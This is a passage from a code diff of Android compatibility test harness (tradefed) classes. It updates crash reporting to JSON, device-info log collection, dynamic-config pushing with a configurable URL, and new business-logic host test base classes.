+        return new File(System.getProperty("java.io.tmpdir"), BL_CACHE_FILE + url.hashCode());
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public void tearDown(ITestDevice device, IBuildInfo buildInfo, Throwable e)
+            throws DeviceNotAvailableException {
+        // Clean up existing host and device files unconditionally
+        if (mHostFilePushed != null) {
+            FileUtil.deleteFile(new File(mHostFilePushed));
+        }
+        if (mDeviceFilePushed != null && !(e instanceof DeviceNotAvailableException)) {
+            removeDeviceFile(device);
+        }
+    }
+
+    /** Remove business logic file from the device */
+    private static void removeDeviceFile(ITestDevice device) throws DeviceNotAvailableException {
+        device.executeShellCommand(String.format("rm -rf %s", BusinessLogic.DEVICE_FILE));
+    }
+
+    /*
+    * Returns an OAuth2 token string obtained using a service account json key file.
+    *
+    * Uses the service account key file location stored in environment variable 'APE_API_KEY'
+    * to request an OAuth2 token.
+    */
+    private String getToken() {
+        String keyFilePath = System.getenv("APE_API_KEY");
+        if (Strings.isNullOrEmpty(keyFilePath)) {
+            CLog.d("Environment variable APE_API_KEY not set.");
+            return null;
+        }
+        try {
+            Credential credential = GoogleCredential.fromStream(new FileInputStream(keyFilePath))
+                    .createScoped(Collections.singleton(mApiScope));
+            credential.refreshToken();
+            return credential.getAccessToken();
+        } catch (FileNotFoundException e) {
+            CLog.e(String.format("Service key file %s doesn't exist.", keyFilePath));
+        } catch (IOException e) {
+            CLog.e(String.format("Can't read the service key file, %s", keyFilePath));
+        }
+        return null;
+    }
+}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/CrashReporter.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/CrashReporter.java
index c8a7dfe..93a0ab4 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/CrashReporter.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/CrashReporter.java
@@ -16,7 +16,6 @@
 package com.android.compatibility.common.tradefed.targetprep;
 
 import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.Crash;
 import com.android.ddmlib.Log.LogLevel;
 import com.android.ddmlib.MultiLineReceiver;
 import com.android.tradefed.build.IBuildInfo;
@@ -25,8 +24,7 @@
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.targetprep.ITargetCleaner;
-import java.io.ObjectOutputStream;
-import java.io.FileOutputStream;
+import java.io.BufferedWriter;
 import java.io.File;
 import java.io.FileWriter;
 import java.io.IOException;
@@ -34,8 +32,7 @@
 import java.nio.file.Path;
 import java.nio.file.attribute.PosixFilePermissions;
 import java.util.regex.Matcher;
-import java.util.List;
-import java.util.ArrayList;
+import org.json.JSONArray;
 
 /**
  * Starts and kills the crash reporter thread. This thread uploads crash results to devices as they
@@ -46,7 +43,10 @@
     private BackgroundDeviceAction mBackgroundThread;
 
     /** Uploads the current buffer of Crashes to the phone under the current test name. */
-    private static void upload(ITestDevice device, String testname, List<Crash> crashes) {
+    private static void upload(ITestDevice device, String testname, JSONArray crashes) {
+        if (crashes == null) {
+            crashes = new JSONArray();
+        }
         try {
             if (testname == null) {
                 CLog.logAndDisplay(LogLevel.ERROR, "Attempted upload with no test name");
@@ -59,9 +59,8 @@
                 Files.setPosixFilePermissions(
                         tmpPath, PosixFilePermissions.fromString("rw-r--r--"));
                 File reportFile = tmpPath.toFile();
-                try (ObjectOutputStream writer = new ObjectOutputStream(
-                    new FileOutputStream(reportFile))) {
-                    writer.writeObject(crashes);
+                try (BufferedWriter writer = new BufferedWriter(new FileWriter(reportFile))) {
+                    writer.write(crashes.toString());
                 }
                 device.pushFile(reportFile, CrashUtils.DEVICE_PATH + testname);
             } finally {
@@ -79,6 +78,13 @@
     @Override
     public void setUp(ITestDevice device, IBuildInfo buildInfo) {
         try {
+            device.executeShellCommand("logcat -c");
+        } catch (DeviceNotAvailableException e) {
+            CLog.logAndDisplay(LogLevel.ERROR, "CrashReporterThread failed to clear logcat");
+            CLog.logAndDisplay(LogLevel.ERROR, e.getMessage());
+        }
+
+        try {
             device.executeShellCommand("rm -rf " + CrashUtils.DEVICE_PATH);
             device.executeShellCommand("mkdir " + CrashUtils.DEVICE_PATH);
         } catch (DeviceNotAvailableException e) {
@@ -88,14 +94,23 @@
             CLog.logAndDisplay(LogLevel.ERROR, e.getMessage());
             return;
         }
+
+        CrashReporterReceiver receiver = new CrashReporterReceiver(device);
         mBackgroundThread =
                 new BackgroundDeviceAction(
-                        "logcat",
-                        "CrashReporter logcat thread",
-                        device,
-                        new CrashReporterReceiver(device),
-                        0);
+                        "logcat", "CrashReporter logcat thread", device, receiver, 0);
         mBackgroundThread.start();
+
+        try {
+            // If the test starts before the reporter receiver can read the test start message then
+            // the crash could only be read halfway. We wait until the receiver starts getting
+            // messages.
+            synchronized (receiver) {
+                receiver.wait(10_000); // wait for 10 seconds max
+            }
+        } catch (InterruptedException e) {
+            // continue as normal
+        }
     }
 
     /** {@inheritDoc} */
@@ -114,13 +129,11 @@
     private class CrashReporterReceiver extends MultiLineReceiver {
 
         private String mTestName;
-        private List<Crash> mCrashes;
-        private StringBuilder mLogcatChunk;
+        private JSONArray mCrashes;
+        private StringBuilder mLogcatChunk = new StringBuilder();
         private ITestDevice mDevice;
 
         public CrashReporterReceiver(ITestDevice device) {
-            mLogcatChunk = new StringBuilder();
-            mCrashes = new ArrayList<Crash>();
             mDevice = device;
         }
 
@@ -130,10 +143,15 @@
             Matcher m;
             if ((m = CrashUtils.sNewTestPattern.matcher(line)).find()) {
                 mTestName = m.group(1);
-                mCrashes = new ArrayList<Crash>();
+                mCrashes = new JSONArray();
                 mLogcatChunk.setLength(0);
             } else if (CrashUtils.sEndofCrashPattern.matcher(line).find()) {
-                mCrashes = CrashUtils.getAllCrashes(mLogcatChunk.toString());
+                if (mCrashes == null) {
+                    // In case the crash happens before any test is started, it's not related to the
+                    // current test and shouldn't be reported.
+                    return;
+                }
+                CrashUtils.addAllCrashes(mLogcatChunk.toString(), mCrashes);
                 mLogcatChunk.setLength(0);
             } else if (CrashUtils.sUploadRequestPattern.matcher(line).find()) {
                 upload(mDevice, mTestName, mCrashes);
@@ -141,7 +159,8 @@
         }
 
         @Override
-        public void processNewLines(String[] lines) {
+        public synchronized void processNewLines(String[] lines) {
+            this.notifyAll(); // alert the main thread that we are active.
             if (!isCancelled()) {
                 for (String line : lines) {
                     processLogLine(line);
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/DeviceInfoCollector.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/DeviceInfoCollector.java
index d48e9f6..8c13370 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/DeviceInfoCollector.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/DeviceInfoCollector.java
@@ -16,27 +16,30 @@
 
 package com.android.compatibility.common.tradefed.targetprep;
 
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.compatibility.common.tradefed.testtype.CompatibilityTest;
-import com.android.compatibility.common.tradefed.util.CollectorUtil;
+import com.android.compatibility.common.util.DeviceInfo;
 import com.android.compatibility.common.util.DevicePropertyInfo;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.config.Option;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.ITestLogger;
 import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.result.FileInputStreamSource;
+import com.android.tradefed.result.ITestLoggerReceiver;
+import com.android.tradefed.result.LogDataType;
 import com.android.tradefed.targetprep.BuildError;
 import com.android.tradefed.targetprep.TargetSetupError;
 import com.android.tradefed.util.FileUtil;
 
 import java.io.File;
-import java.io.FileNotFoundException;
+import java.io.IOException;
 import java.util.Map.Entry;
 
 /**
  * An {@link ApkInstrumentationPreparer} that collects device info.
  */
-public class DeviceInfoCollector extends ApkInstrumentationPreparer {
+public class DeviceInfoCollector extends ApkInstrumentationPreparer implements ITestLoggerReceiver {
 
     private static final String ABI = "ro.product.cpu.abi";
     private static final String ABI2 = "ro.product.cpu.abi2";
@@ -72,19 +75,16 @@
     private String mSrcDir;
 
     @Option(name = "dest-dir", description = "The directory under the result to store the files")
-    private String mDestDir;
+    private String mDestDir = DeviceInfo.RESULT_DIR_NAME;
 
+    @Deprecated
     @Option(name = "temp-dir", description = "The directory containing host-side device info files")
     private String mTempDir;
 
-    // Temp directory for host-side device info files.
-    private File mHostDir;
-
-    // Destination result directory for all device info files.
-    private File mResultDir;
+    private ITestLogger mLogger;
 
     public DeviceInfoCollector() {
-        mWhen = When.BOTH;
+        mWhen = When.BEFORE;
     }
 
     @Override
@@ -104,58 +104,30 @@
         if (mSkipDeviceInfo) {
             return;
         }
-
-        createTempHostDir();
-        createResultDir(buildInfo);
         run(device, buildInfo);
-        getDeviceInfoFiles(device);
+        File deviceInfoDir = null;
+        try {
+            deviceInfoDir = FileUtil.createTempDir(DeviceInfo.RESULT_DIR_NAME);
+            if (device.pullDir(mSrcDir, deviceInfoDir)) {
+                for (File deviceInfoFile : deviceInfoDir.listFiles()) {
+                    try (FileInputStreamSource source = new FileInputStreamSource(deviceInfoFile)) {
+                        mLogger.testLog(deviceInfoFile.getName(), LogDataType.TEXT, source);
+                    }
+                }
+            } else {
+                CLog.e("Failed to pull device-info files from device %s", device.getSerialNumber());
+            }
+        } catch (IOException e) {
+            CLog.e("Failed to pull device-info files from device %s", device.getSerialNumber());
+            CLog.e(e);
+        } finally {
+            FileUtil.recursiveDelete(deviceInfoDir);
+        }
     }
 
     @Override
-    public void tearDown(ITestDevice device, IBuildInfo buildInfo, Throwable e) {
-        if (mSkipDeviceInfo) {
-            return;
-        }
-        if (mHostDir != null && mHostDir.isDirectory() &&
-                mResultDir != null && mResultDir.isDirectory()) {
-            CollectorUtil.pullFromHost(mHostDir, mResultDir);
-        }
-    }
-
-    private void createTempHostDir() {
-        try {
-            mHostDir = FileUtil.createNamedTempDir(mTempDir);
-            if (!mHostDir.isDirectory()) {
-                CLog.e("%s is not a directory", mHostDir.getAbsolutePath());
-                return;
-            }
-        } catch (Exception e) {
-            e.printStackTrace();
-        }
-    }
-
-    private void createResultDir(IBuildInfo buildInfo) {
-        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(buildInfo);
-        try {
-            mResultDir = buildHelper.getResultDir();
-            if (mDestDir != null) {
-                mResultDir = new File(mResultDir, mDestDir);
-            }
-            mResultDir.mkdirs();
-            if (!mResultDir.isDirectory()) {
-                CLog.e("%s is not a directory", mResultDir.getAbsolutePath());
-                return;
-            }
-        } catch (FileNotFoundException fnfe) {
-            fnfe.printStackTrace();
-        }
-    }
-
-    private void getDeviceInfoFiles(ITestDevice device) {
-        if (mResultDir != null && mResultDir.isDirectory()) {
-            String mResultPath = mResultDir.getAbsolutePath();
-            CollectorUtil.pullFromDevice(device, mSrcDir, mResultPath);
-        }
+    public void setTestLogger(ITestLogger testLogger) {
+        mLogger = testLogger;
     }
 
     private static String nullToEmpty(String value) {
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/DynamicConfigPusher.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/DynamicConfigPusher.java
index 2d0e361..918c27c 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/DynamicConfigPusher.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/DynamicConfigPusher.java
@@ -28,7 +28,6 @@
 import com.android.tradefed.targetprep.BuildError;
 import com.android.tradefed.targetprep.ITargetCleaner;
 import com.android.tradefed.targetprep.TargetSetupError;
-import com.android.tradefed.util.FileUtil;
 import com.android.tradefed.util.StreamUtil;
 
 import org.json.JSONException;
@@ -50,12 +49,15 @@
     }
 
     private static final String LOG_TAG = DynamicConfigPusher.class.getSimpleName();
-    private static final String TMP_FOLDER_DYNAMIC_FILES = "dynamic-config-files";
 
     @Option(name = "cleanup", description = "Whether to remove config files from the test " +
             "target after test completion.")
     private boolean mCleanup = true;
 
+    @Option(name = "config-url", description = "The url path of the dynamic config. If set, " +
+            "will override the default config location defined in CompatibilityBuildProvider.")
+    private String mConfigUrl;
+
     @Option(name="config-filename", description = "The module name for module-level " +
             "configurations, or the suite name for suite-level configurations", mandatory = true)
     private String mModuleName;
@@ -68,8 +70,7 @@
             "from the server, e.g. \"1.0\". Defaults to suite version string.")
     private String mVersion;
 
-
-    private String mFilePushed;
+    private String mDeviceFilePushed;
 
     void setModuleName(String moduleName) {
         mModuleName = moduleName;
@@ -97,7 +98,7 @@
         }
 
         String apfeConfigInJson = null;
-        String originUrl = buildHelper.getDynamicConfigUrl();
+        String originUrl = (mConfigUrl != null) ? mConfigUrl : buildHelper.getDynamicConfigUrl();
 
         if (originUrl != null) {
             String requestUrl = originUrl;
@@ -115,48 +116,28 @@
                     "Dynamic config override URL is not set, using local configuration values");
         }
 
-        File src = null;
+        // Use DynamicConfigHandler to merge local and service configuration into one file
+        File hostFile = null;
         try {
-            src = DynamicConfigHandler.getMergedDynamicConfigFile(
+            hostFile = DynamicConfigHandler.getMergedDynamicConfigFile(
                     localConfigFile, apfeConfigInJson, mModuleName);
         } catch (IOException | XmlPullParserException | JSONException e) {
             throw new TargetSetupError("Cannot get merged dynamic config file", e,
                     device.getDeviceDescriptor());
         }
 
-        switch (mTarget) {
-            case DEVICE:
-                String deviceDest = DynamicConfig.CONFIG_FOLDER_ON_DEVICE + src.getName();
-                if (!device.pushFile(src, deviceDest)) {
-                    throw new TargetSetupError(String.format(
-                            "Failed to push local '%s' to remote '%s'",
-                            src.getAbsolutePath(), deviceDest), device.getDeviceDescriptor());
-                } else {
-                    mFilePushed = deviceDest;
-                    buildHelper.addDynamicConfigFile(mModuleName, src);
-                }
-                break;
-
-            case HOST:
-                File storageDir = null;
-                try {
-                    storageDir = FileUtil.createTempDir(TMP_FOLDER_DYNAMIC_FILES);
-                } catch (IOException e) {
-                    throw new TargetSetupError("Fail to create a tmp folder for dynamic config "
-                            + "files", e, device.getDeviceDescriptor());
-                }
-                File hostDest = new File(storageDir, src.getName());
-                try {
-                    FileUtil.copyFile(src, hostDest);
-                } catch (IOException e) {
-                    throw new TargetSetupError(String.format("Failed to copy file from %s to %s",
-                            src.getAbsolutePath(), hostDest.getAbsolutePath()), e,
-                            device.getDeviceDescriptor());
-                }
-                mFilePushed = storageDir.getAbsolutePath();
-                buildHelper.addDynamicConfigFile(mModuleName, src);
-                break;
+        if (TestTarget.DEVICE.equals(mTarget)) {
+            String deviceDest = String.format("%s%s.dynamic",
+                    DynamicConfig.CONFIG_FOLDER_ON_DEVICE, mModuleName);
+            if (!device.pushFile(hostFile, deviceDest)) {
+                throw new TargetSetupError(String.format(
+                        "Failed to push local '%s' to remote '%s'", hostFile.getAbsolutePath(),
+                        deviceDest), device.getDeviceDescriptor());
+            }
+            mDeviceFilePushed = deviceDest;
         }
+        // add host file to build
+        buildHelper.addDynamicConfigFile(mModuleName, hostFile);
     }
 
     /**
@@ -165,16 +146,10 @@
     @Override
     public void tearDown(ITestDevice device, IBuildInfo buildInfo, Throwable e)
             throws DeviceNotAvailableException {
-        switch (mTarget) {
-            case DEVICE:
-                if (!(e instanceof DeviceNotAvailableException)
-                        && mCleanup && mFilePushed != null) {
-                    device.executeShellCommand("rm -r " + mFilePushed);
-                }
-                break;
-            case HOST:
-                FileUtil.recursiveDelete(new File(mFilePushed));
-                break;
+        // Remove any file we have pushed to the device, host file will be moved to the result
+        // directory by ResultReporter upon invocation completion.
+        if (mDeviceFilePushed != null && !(e instanceof DeviceNotAvailableException) && mCleanup) {
+            device.executeShellCommand("rm -r " + mDeviceFilePushed);
         }
     }
 }
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/MediaPreparer.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/MediaPreparer.java
index 6afbd4e..f011f5e 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/MediaPreparer.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/MediaPreparer.java
@@ -17,7 +17,7 @@
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.compatibility.common.tradefed.targetprep.PreconditionPreparer;
-import com.android.compatibility.common.util.DynamicConfigHostSide;
+import com.android.compatibility.common.tradefed.util.DynamicConfigFileReader;
 import com.android.ddmlib.IDevice;
 import com.android.ddmlib.Log;
 import com.android.ddmlib.testrunner.TestIdentifier;
@@ -227,10 +227,8 @@
         URL url;
         try {
             // Get download URL from dynamic configuration service
-            File config =
-                    DynamicConfigHostSide.getDynamicConfigFile(buildInfo, DYNAMIC_CONFIG_MODULE);
-            String mediaUrlString =
-                    DynamicConfigHostSide.getValueFromConfig(config, MEDIA_FILES_URL_KEY);
+            String mediaUrlString = DynamicConfigFileReader.getValueFromConfig(
+                    buildInfo, DYNAMIC_CONFIG_MODULE, MEDIA_FILES_URL_KEY);
             url = new URL(mediaUrlString);
         } catch (IOException | XmlPullParserException e) {
             throw new TargetSetupError("Trouble finding media file download location with " +
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/BusinessLogicConditionalHostTestBase.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/BusinessLogicConditionalHostTestBase.java
new file mode 100644
index 0000000..4a6d234
--- /dev/null
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/BusinessLogicConditionalHostTestBase.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.testtype;
+
+import org.junit.Before;
+
+/**
+ * Host-side base class for tests leveraging the Business Logic service.
+ */
+public class BusinessLogicConditionalHostTestBase extends BusinessLogicHostTestBase {
+
+    @Override
+    @Before
+    public void handleBusinessLogic() {
+        super.loadBusinessLogic();
+        ensureAuthenticated();
+        super.executeBusinessLogic();
+    }
+
+    protected void ensureAuthenticated() {
+        if (!mCanReadBusinessLogic) {
+            // super class handles the condition that the service is unavailable.
+            return;
+        }
+
+        if (!mBusinessLogic.mConditionalTestsEnabled) {
+            skipTest("Execution of device specific tests is not enabled. "
+                    + "Enable with '--conditional-business-logic-tests-enabled'");
+        }
+
+        if (mBusinessLogic.isAuthorized()) {
+            // Run test as normal.
+            return;
+        }
+        String message = mBusinessLogic.getAuthenticationStatusMessage();
+
+        // Fail test since request was not authorized.
+        failTest(String.format("Unable to execute because %s.", message));
+    }
+}
\ No newline at end of file
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/BusinessLogicHostTestBase.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/BusinessLogicHostTestBase.java
new file mode 100644
index 0000000..266ffc9
--- /dev/null
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/BusinessLogicHostTestBase.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.testtype;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.rules.TestName;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.compatibility.common.util.BusinessLogic;
+import com.android.compatibility.common.util.BusinessLogicExecutor;
+import com.android.compatibility.common.util.BusinessLogicFactory;
+import com.android.compatibility.common.util.BusinessLogicHostExecutor;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import java.io.File;
+
+/**
+ * Host-side base class for tests leveraging the Business Logic service.
+ */
+public class BusinessLogicHostTestBase extends CompatibilityHostTestBase {
+
+    /* String marking the beginning of the parameter in a test name */
+    private static final String PARAM_START = "[";
+
+    /* Test name rule that tracks the current test method under execution */
+    @Rule public TestName mTestCase = new TestName();
+
+    protected BusinessLogic mBusinessLogic;
+    protected boolean mCanReadBusinessLogic = true;
+
+    @Before
+    public void handleBusinessLogic() {
+        loadBusinessLogic();
+        executeBusinessLogic();
+    }
+
+    protected void executeBusinessLogic() {
+        String methodName = mTestCase.getMethodName();
+        assertTrue(String.format("Test \"%s\" is unable to execute as it depends on the missing "
+                + "remote configuration.", methodName), mCanReadBusinessLogic);
+        if (methodName.contains(PARAM_START)) {
+            // Strip parameter suffix (e.g. "[0]") from method name
+            methodName = methodName.substring(0, methodName.lastIndexOf(PARAM_START));
+        }
+        String testName = String.format("%s#%s", this.getClass().getName(), methodName);
+        if (mBusinessLogic.hasLogicFor(testName)) {
+            CLog.i("Applying business logic for test case: ", testName);
+            BusinessLogicExecutor executor = new BusinessLogicHostExecutor(getDevice(),
+                    mBuild, this);
+            mBusinessLogic.applyLogicFor(testName, executor);
+        }
+    }
+
+    protected void loadBusinessLogic() {
+        CompatibilityBuildHelper helper = new CompatibilityBuildHelper(mBuild);
+        File businessLogicFile = helper.getBusinessLogicHostFile();
+        if (businessLogicFile != null && businessLogicFile.canRead()) {
+            mBusinessLogic = BusinessLogicFactory.createFromFile(businessLogicFile);
+        } else {
+            mCanReadBusinessLogic = false; // failed to retrieve business logic
+        }
+    }
+
+    public static void skipTest(String message) {
+        assumeTrue(message, false);
+    }
+
+    public static void failTest(String message) {
+        fail(message);
+    }
+}
+
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java
index daa00b9..07bfe83 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java
@@ -16,7 +16,6 @@
 
 package com.android.compatibility.common.tradefed.testtype;
 
-import com.android.compatibility.SuiteInfo;
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.compatibility.common.tradefed.result.InvocationFailureHandler;
 import com.android.compatibility.common.tradefed.result.SubPlanHelper;
@@ -55,6 +54,7 @@
 import com.android.tradefed.testtype.IShardableTest;
 import com.android.tradefed.testtype.IStrictShardableTest;
 import com.android.tradefed.testtype.ITestCollector;
+import com.android.tradefed.testtype.suite.TestSuiteInfo;
 import com.android.tradefed.util.AbiFormatter;
 import com.android.tradefed.util.AbiUtils;
 import com.android.tradefed.util.ArrayUtil;
@@ -605,7 +605,7 @@
      * Exposed for testing.
      */
     protected Set<String> getAbisForBuildTargetArch() {
-        return AbiUtils.getAbisForArch(SuiteInfo.TARGET_ARCH);
+        return AbiUtils.getAbisForArch(TestSuiteInfo.getInstance().getTargetArch());
     }
 
     /**
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/FailureListener.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/FailureListener.java
index cd4829d..fbddb22 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/FailureListener.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/FailureListener.java
@@ -67,7 +67,8 @@
     @Override
     public void testFailed(TestIdentifier test, String trace) {
         super.testFailed(test, trace);
-        CLog.i("FailureListener.testFailed %s %b %b %b", test.toString(), mBugReportOnFailure, mLogcatOnFailure, mScreenshotOnFailure);
+        CLog.i("FailureListener.testFailed %s %b %b %b",
+                test.toString(), mBugReportOnFailure, mLogcatOnFailure, mScreenshotOnFailure);
         if (mScreenshotOnFailure) {
             try {
                 try (InputStreamSource screenSource = mDevice.getScreenshot()) {
@@ -81,10 +82,27 @@
             }
         }
         if (mBugReportOnFailure) {
-           try (InputStreamSource bugSource = mDevice.getBugreportz()) {
-               super.testLog(String.format("%s-bugreport", test.toString()), LogDataType.BUGREPORT,
-                       bugSource);
-           }
+            int api = -1;
+            try {
+                api = mDevice.getApiLevel();
+            } catch (DeviceNotAvailableException e) {
+                // ignore, it will be raised later.
+            }
+            if (api < 24) {
+                try (InputStreamSource fallback = mDevice.getBugreport()) {
+                    super.testLog(String.format("%s-bugreport", test.toString()),
+                            LogDataType.BUGREPORT, fallback);
+                }
+            } else {
+                try (InputStreamSource bugSource = mDevice.getBugreportz()) {
+                    if (bugSource != null) {
+                        super.testLog(String.format("%s-bugreportz", test.toString()),
+                                LogDataType.BUGREPORTZ, bugSource);
+                    } else {
+                        CLog.e("Failed to capture bugreport for %s", test.toString());
+                    }
+                }
+            }
         }
         if (mLogcatOnFailure) {
             // sleep 2s to ensure test failure stack trace makes it into logcat capture
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuite.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuite.java
index efd61fd..bb74f23 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuite.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuite.java
@@ -15,7 +15,6 @@
  */
 package com.android.compatibility.common.tradefed.testtype.suite;
 
-import com.android.compatibility.SuiteInfo;
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.compatibility.common.tradefed.testtype.CompatibilityTest;
 import com.android.compatibility.common.tradefed.testtype.ISubPlan;
@@ -32,6 +31,7 @@
 import com.android.tradefed.testtype.Abi;
 import com.android.tradefed.testtype.IAbi;
 import com.android.tradefed.testtype.suite.ITestSuite;
+import com.android.tradefed.testtype.suite.TestSuiteInfo;
 import com.android.tradefed.util.AbiFormatter;
 import com.android.tradefed.util.AbiUtils;
 import com.android.tradefed.util.ArrayUtil;
@@ -234,7 +234,7 @@
      * Exposed for testing.
      */
     protected Set<String> getAbisForBuildTargetArch() {
-        return AbiUtils.getAbisForArch(SuiteInfo.TARGET_ARCH);
+        return AbiUtils.getAbisForArch(TestSuiteInfo.getInstance().getTargetArch());
     }
 
     /**
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/util/CollectorUtil.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/util/CollectorUtil.java
index ae91ad1..65203dd 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/util/CollectorUtil.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/util/CollectorUtil.java
@@ -79,7 +79,9 @@
      */
     public static void pullFromHost(File src, File dest) {
         try {
-            FileUtil.recursiveCopy(src, dest);
+            if (src.listFiles() != null) {
+                FileUtil.recursiveCopy(src, dest);
+            }
             FileUtil.recursiveDelete(src);
         } catch (IOException e) {
             CLog.e("Caught exception during pull.");
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/util/DynamicConfigFileReader.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/util/DynamicConfigFileReader.java
new file mode 100644
index 0000000..f2b7f3c
--- /dev/null
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/util/DynamicConfigFileReader.java
@@ -0,0 +1,104 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.util;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.compatibility.common.util.DynamicConfig;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import org.xmlpull.v1.XmlPullParserException;
+
+import java.io.File;
+import java.io.IOException;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Utility to read the data from a dynamic config file.
+ */
+public class DynamicConfigFileReader {
+
+    /**
+     * Returns the value of a key from a downloaded file.
+     *
+     * @param file The file downloaded, can be retrieve via
+     *        {@link CompatibilityBuildHelper#getDynamicConfigFiles()}
+     * @param key the key inside the file which value we want to return
+     * @return the value associated to the key in the config file provided.
+     */
+    public static String getValueFromConfig(File file, String key)
+            throws XmlPullParserException, IOException {
+        Map<String, List<String>> configMap = DynamicConfig.createConfigMap(file);
+        List<String> singleValue = configMap.get(key);
+        if (singleValue == null || singleValue.size() == 0 || singleValue.size() > 1) {
+            // key must exist in the map, and map to a list containing exactly one string
+            return null;
+        }
+        return singleValue.get(0);
+    }
+
+    /**
+     * Returns the multiple values of a key from a downloaded file.
+     *
